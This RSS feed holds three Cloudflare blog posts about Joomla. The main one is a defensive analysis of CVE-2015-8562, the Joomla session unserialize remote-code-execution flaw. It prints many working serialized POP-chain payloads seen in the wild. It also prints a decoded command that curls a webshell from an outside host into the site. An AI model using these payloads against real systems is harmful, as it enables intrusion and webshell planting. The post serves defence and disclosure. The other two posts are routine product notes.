
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 04 Apr 2026 09:57:32 GMT</lastBuildDate>
        <item>
            <title><![CDATA[A Different Kind of POP: The Joomla Unserialize Vulnerability]]></title>
            <link>https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/</link>
            <pubDate>Thu, 17 Dec 2015 18:05:00 GMT</pubDate>
            <description><![CDATA[ At CloudFlare, we spend a lot of time talking about the PoPs (Points of Presence) we have around the globe, however, on December 14th, another kind of POP came to the world: a vulnerability being exploited in the wild against Joomla’s Content Management System. ]]></description>
            <content:encoded><![CDATA[ <p>At CloudFlare, we spend a lot of time talking about the PoPs (Points of Presence) we have around the globe, however, on December 14th, another kind of POP came to the world: a vulnerability being exploited in the wild against Joomla’s Content Management System. This is known as a zero day attack, where it has been zero days since a patch has been released for that bug. A CVE ID has been issued for this particular vulnerability as <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-8562">CVE-2015-8562</a>. Jaime Cochran and I decided to take a closer look.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1JFk6wEd8uVYQDXsCuufJL/9d1fe3c4f8e8622cc4ce44d58f67df6d/joomla-unserialize-vulnerability.png" />
            
            </figure><p>In this blog post we’ll explain what the vulnerability is, give examples of actual attack payloads we’ve seen, and show how CloudFlare automatically protects Joomla users. If you are using Joomla with CloudFlare today and have our WAF enabled, you are already protected.</p><p>The Joomla Web Application Firewall rule set is enabled by default for CloudFlare customers with a Pro or higher plan, which blocks this attack. You can find it in the Joomla section of the CloudFlare Rule Set in the WAF Dashboard.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4hZkDzu55IzpvOOEgmEOQW/34407e9bae59e2a5b549917ba88feebe/waf-rule-for-joomla-unserialize-vuln.png" />
            
            </figure>
    <div>
      <h3>What is Joomla?</h3>
      <a href="#what-is-joomla">
        
      </a>
    </div>
    <p><a href="https://www.joomla.org/">Joomla</a> is an open source Content Management System which allows you to build web applications and control every aspect of the content of your website. Some of these resources include photos, videos, text, and documents to name just a few. As one can imagine, this is a high value target if an attacker can gain access to the admin control panel.</p>
    <div>
      <h3>The Unserialize Vulnerability</h3>
      <a href="#the-unserialize-vulnerability">
        
      </a>
    </div>
    <p>The vulnerability is a bug class that is inherent in most languages including Java, Python’s pickle, C’s unmarshalling, Ruby (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0333">CVE-2013-0333</a>), and many others. This class of vulnerability is not new but has recently piqued the security world’s interest after an excellent <a href="http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">blog written by @breenmachine</a> was published. Like many vulnerabilities in CMS/framework software, remote code execution is achieved, meaning a usually unauthenticated attacker can execute arbitrary code from afar, leading to the acquisition of sensitive information, a shell, and eventually a full system compromise.</p><p>So how is remote code execution achieved? There are two poorly sanitized inputs that can be controlled by a user, one being the <code>User-Agent</code> header and the other being the <code>X-Forwarded-For</code> header, which are then stored as part of the <code>session.client.browser</code> and <code>session.client.forwarded</code> objects, serialized, and inserted in Joomla’s MySQL database.</p><p>These request headers must contain malicious data known as a "POP Chain" (Property Oriented Programming). POP chains, similar to their older cousin ROP (Return Oriented Programming) are constructed of a series of “magic PHP methods” that already exist in the code, which is why these kinds of attacks are often referred to as code reuse. An attacker must link these methods together in order to achieve their desired code execution.</p><p>The POP chain is then sent from the attacker in either the <code>User-Agent</code> or <code>X-Forwarded-For header</code>, the attacker saves the session cookie that is returned upon completion of the request. From what we have noticed, most of these POP chains run <code>eval()</code> on the POST data, but not all of them, as you can also run a <code>chr()</code> encoded string into <code>eval()</code> that will execute all the bad PHP calls: <code>system()</code>, <code>popen()</code>, <code>exec()</code>, <code>passthru()</code>, <code>shell_exec()</code>, etc. Here is an example of part of the exploit payload:</p>
            <pre><code>eval(base64_decode($_POST[111]))</code></pre>
            <p>Now, you may be wondering how this is exploited if the initial request isn’t a POST request. That is the next part of the exploit, after grabbing the session cookie value, the attacker sends a subsequent request with the session cookie set. The previous request’s <code>User-Agent</code> or <code>X-Forwarded-For</code> header was inserted into the MySQL database and is unserialized on the subsequent request. The trick is appending four UTF-8 characters to the end of the payload (such as: <code>\xf0\xfd\xfd\xfd</code>) which will truncate the payload, allowing the code to execute. Crafting a successful payload also involves calculating the size of the payload and inserting it before the eval() as such:</p>
            <pre><code>s:221:"eval(base64_decode($_POST[111]))</code></pre>
            <p>or the exploit will fail. We have been able to successfully exploit both the vulnerable headers, using multiple variations of POP chains in our test environment.</p><p>More importantly, we’ve been able to block them too.</p>
    <div>
      <h3>The Vulnerable Code</h3>
      <a href="#the-vulnerable-code">
        
      </a>
    </div>
    <p>In this section, we’ll go through the code path taken to exploit this vulnerability starting with <a href="https://github.com/joomla/joomla-cms/blob/3.5-dev/libraries/joomla/session/session.php">session.php</a>, where sessions are created. If you look at lines 909 and 932, you will see that the unsanitized <code>User-Agent</code> and <code>X-Forwarded-For</code> headers are set to <code>session.client.browser</code> and <code>session.client.forwarded</code>.</p>
            <pre><code>909: if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
910: {
911:        $this-&gt;set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
912: }
					

&lt;--&gt;

932: if (in_array('fix_browser', $this-&gt;_security) &amp;&amp; isset($_SERVER['HTTP_USER_AGENT']))
933: {
934:			$browser = $this-&gt;get('session.client.browser');
935:       if ($browser === null)
936:       {
937:	 		$this-&gt;set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
938:       }</code></pre>
            <p>PHP has a unique way of handling sessions, which actually serializes and deserializes session objects: <a href="http://php.net/manual/en/function.session-set-save-handler.php">PHP’s session handler object</a> is created and saved here:</p>
            <pre><code>public function write($id, $data)

{

	try

	{

		$query = $this-&gt;db-&gt;getQuery(true);

		$query-&gt;update($this-&gt;db-&gt;quoteName('#__session'))

		-&gt;set($this-&gt;db-&gt;quoteName('data') . ' = ' . $this-&gt;db-&gt;quote($data))

		-&gt;set($this-&gt;db-&gt;quoteName('time') . ' = ' . $this-&gt;db-&gt;quote((int) time()))

		-&gt;where($this-&gt;db-&gt;quoteName('session_id') . ' = ' . $this-&gt;db-&gt;quote($id));

		// Try to update the session data in the database table.

		$this-&gt;db-&gt;setQuery($query);

		if (!$this-&gt;db-&gt;execute())

		{

			return false;

		}

		// Since $this-&gt;db-&gt;execute did not throw an exception the query was successful.

		// Either the data changed, or the data was identical. In either case we are done.

		return true;

	}

	catch (\Exception $e)

	{

		return false;

	}

}</code></pre>
            <p>and then popped from the database here:</p>
            <pre><code>public function read($id)
	  {
		  // Get the database connection object and verify its connected.
		  $db = JFactory::getDbo();
		  try
		  {
			  // Get the session data from the database table.
			  $query = $db-&gt;getQuery(true)
				  -&gt;select($db-&gt;quoteName('data'))
			  -&gt;from($db-&gt;quoteName('#__session'))
			  -&gt;where($db-&gt;quoteName('session_id') . ' = ' . $db-&gt;quote($id));
			  $db-&gt;setQuery($query);
			  $result = (string) $db-&gt;loadResult();
			  $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
			  return $result;
		  }
		  catch (Exception $e)
		  {
			  return false;
		  }
	  }</code></pre>
            <p>As per the PHP documentation: "The value returned will be unserialized automatically by PHP and used to populate the <code>$_SESSION</code> superglobal." So the <code>session_id</code> is pulled from the database, unserialized, and if the POP chain was constructed correctly, it will execute the malicious code.</p>
    <div>
      <h3>What we see with our Web Application Firewall</h3>
      <a href="#what-we-see-with-our-web-application-firewall">
        
      </a>
    </div>
    <p>After writing a ruleset specifically to block this attack and making it block by default for all our customers, we saw a very large number of requests that triggered the ruleset. This shows malicious actors trying to directly exploit Joomla installs:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/vnyQCbeUmTjjCER4Kj4V0/118d18d8729cca6ab8216b9bb85bb603/waf-activity-of-joomla-unserialize-vuln.png" />
            
            </figure><p>As you can see, the amount of requests that have been blocked spike greatly when public exploits were released. Here is a small sample of the different payloads we’re seeing since public exploits were released a day ago:</p>
            <pre><code>[ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ellyel8'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?



 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?


[ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?

 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

 [ Payload ]:   sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?


 [ Payload ]:   123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?

 [ Payload ]:   }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:59:"eval(base64_decode($_POST[200]));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?</code></pre>
            <p>As you can see, there are a few different payloads being used. Specifically, the payloads using <code>chr()</code> in <code>eval()</code> are from the <a href="http://pastebin.com/PRiK0SWL">public exploit released on PasteBin</a> yesterday, December 15th, along with a metasploit module. Some payloads translate to:</p>
            <pre><code>system('cd components;cd com_media;rm -rf k.txt;curl -O http://tiptopcom.tv/blog/k.txt;mv k.txt ajax.php');</code></pre>
            <p>This is a simple example where an attacker tries to find a writable directory, retrieves a malicious file from a remote (most likely a compromised computer) and disguises it as a seemingly innocuous PHP file. The file is known as a webshell and gives the attacker a way to easily execute code and a very small amount of persistence. But, this is only a very basic example of what an attacker might do.</p><p>We have found some payloads that classically extract credentials from the Joomla configuration file or attempt to spawn a connectback shell, which is a technique that makes the target computer send an outbound connection to an attacker controlled computer, allowing them to operate as if they had terminal access to the computer. This is often used when a target does not have an attacker-friendly environment (such as properly jailed user accounts and read-only directories). The original zero day was using a webshell dropping payload that cleverly patched the <code>User-Agent</code> bug behind itself.</p><p>Since the first public exploit was released, our WAF has blocked 16,413 attacks and counting.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Joomla]]></category>
            <category><![CDATA[Programming]]></category>
            <guid isPermaLink="false">1UuPRoiC85hckUH7JESUWq</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatic protection for common web platforms]]></title>
            <link>https://blog.cloudflare.com/automatic-protection-for-common-web-platforms/</link>
            <pubDate>Tue, 14 Oct 2014 12:16:11 GMT</pubDate>
            <description><![CDATA[ If you are a CloudFlare Pro or above customer you enjoy the protection of the CloudFlare WAF. If you use one of the common web platforms, such as WordPress, Drupal, Plone, WHMCS, or Joomla, then it's worth checking if the relevant CloudFlare WAF ruleset is enabled. ]]></description>
            <content:encoded><![CDATA[ <p>If you are a CloudFlare Pro or above customer you enjoy the protection of the CloudFlare WAF. If you use one of the common web platforms, such as WordPress, Drupal, Plone, WHMCS, or Joomla, then it's worth checking if the relevant CloudFlare WAF ruleset is enabled.</p><p>That's because CloudFlare pushes updates to these rules automatically when new vulnerabilities are found. If you enable the relevant ruleset for your technology then you'll be protected the moment new rules are published.</p><p>For example, here's a screenshot of the WAF Settings for a customer who uses WordPress (but doesn't use Joomla). If CloudFlare pushes rules to the WordPress set then they'll be protected automatically.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XbdmYi2KwAWfH5YGso6Wc/4f44b11c96b84a9f4cdfcd5b6873a322/Screen-Shot-2014-10-14-at-13-39-46.png" />
            
            </figure><p>Enabling a ruleset is simple. Just click the ON/OFF button and make sure it's set to ON.</p><p>Here's a customer with the Drupal ruleset disabled. Clicking the ON/OFF button would enable that ruleset and provide protection from existing vulnerabilities and automatic protection if new rules are deployed.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2W4Whn25WpufXxJfiThwIS/286dd849b12e6d66de8e3c1f7cc2da27/Screen-Shot-2014-10-14-at-13-42-48.png" />
            
            </figure><p>For common problems we've rolled out protection across the board. For example, we rolled out <a href="/staying-ahead-of-openssl-vulnerabilities/">Heartbleed protection</a> and <a href="/shellshock-protection-enabled-for-all-customers/">Shellshock</a> automatically, but for technology-specific updates it's best to enable the appropriate ruleset in the WAF Settings.</p> ]]></content:encoded>
            <category><![CDATA[WordPress]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Joomla]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">50MDvmzqVyOjCuqTmerQAK</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Introducing the CloudFlare Joomla Extension]]></title>
            <link>https://blog.cloudflare.com/introducing-the-cloudflare-joomla-extension/</link>
            <pubDate>Wed, 16 Mar 2011 01:31:00 GMT</pubDate>
            <description><![CDATA[ The CloudFlare team takes a great deal of pride in listening to the feedback of our users. We're pleased to announce that we recently released a beta version of our CloudFlare Joomla extension that will help you get the most out of using Joomla and CloudFlare together.

 ]]></description>
            <content:encoded><![CDATA[ <p>[</p><p>](<a href="http://www.flickr.com/photos/damonbillian/5490466550/">http://www.flickr.com/photos/damonbillian/5490466550/</a> "CloudFlare Joomla by dbillian, on Flickr")The CloudFlare team takes a great deal of pride in listening to the feedback of our users. We're pleased to announce that we recently released a beta version of our <a href="https://www.cloudflare.com/resources-downloads">CloudFlare Joomla extension</a> that will help you get the most out of using Joomla and CloudFlare together.</p>
    <div>
      <h3>Some common FAQs about the Joomla extension:</h3>
      <a href="#some-common-faqs-about-the-joomla-extension">
        
      </a>
    </div>
    
    <div>
      <h5>What does the CloudFlare Joomla extension do?</h5>
      <a href="#what-does-the-cloudflare-joomla-extension-do">
        
      </a>
    </div>
    <p>The extension restores the original visitor IP to your server logs. Before the extension, your logs would reflect CloudFlare's proxy IP addresses. The Joomla extension will restore your logs so that all the originating IP information is preserved.</p>
    <div>
      <h5>Do I need to install the extension if I already installed mod_cloudflare?</h5>
      <a href="#do-i-need-to-install-the-extension-if-i-already-installed-mod_cloudflare">
        
      </a>
    </div>
    <p>You do not need to install the extension if you have already installed <a href="https://support.cloudflare.com/forums/21318827-How-do-I-restore-original-visitor-IP-to-my-server-logs-">mod_cloudflare</a> on your server. It is recommended that you install both if you need them at both the Joomla and server level.</p>
    <div>
      <h5>How do I install the CloudFlare extension?</h5>
      <a href="#how-do-i-install-the-cloudflare-extension">
        
      </a>
    </div>
    <p>You can download the Joomla extension <a href="https://www.cloudflare.com/downloads/cf-joomla.zip">here</a>.</p><p>You then need to make sure the module is enabled for (a) position 2, and (b) all pages.</p>
    <div>
      <h5>What versions of Joomla is the extension compatible with?</h5>
      <a href="#what-versions-of-joomla-is-the-extension-compatible-with">
        
      </a>
    </div>
    <p>The plugin is compatible with Joomla 1.5.2.</p>
    <div>
      <h5>Does the Joomla extension have the same features as the CloudFlare WordPress plugin?</h5>
      <a href="#does-the-joomla-extension-have-the-same-features-as-the-cloudflare-wordpress-plugin">
        
      </a>
    </div>
    <p>The Joomla extension does not have the spam reporting capabilities or database optimization features found in the <a href="http://wordpress.org/extend/plugins/cloudflare/">CloudFlare WordPress plugin</a>.</p>
    <div>
      <h5>Have feedback on the Joomla Extension?</h5>
      <a href="#have-feedback-on-the-joomla-extension">
        
      </a>
    </div>
    <p>Definitely <a href="https://www.cloudflare.com/contact.html">contact us</a>! We'll use your feedback to improve the extension for the entire CloudFlare community.</p><p>Disclaimer:CloudFlare is not affiliated with or endorsed by the <a href="http://www.joomla.org/">Joomla Projec</a>t or <a href="http://opensourcematters.org/index.php">Open Source Matters</a>.</p> ]]></content:encoded>
            <category><![CDATA[Joomla]]></category>
            <category><![CDATA[Beta]]></category>
            <category><![CDATA[Community]]></category>
            <guid isPermaLink="false">497UAyqy5PGE6FM3ljwUKs</guid>
            <dc:creator>Damon Billian</dc:creator>
        </item>
    </channel>
</rss>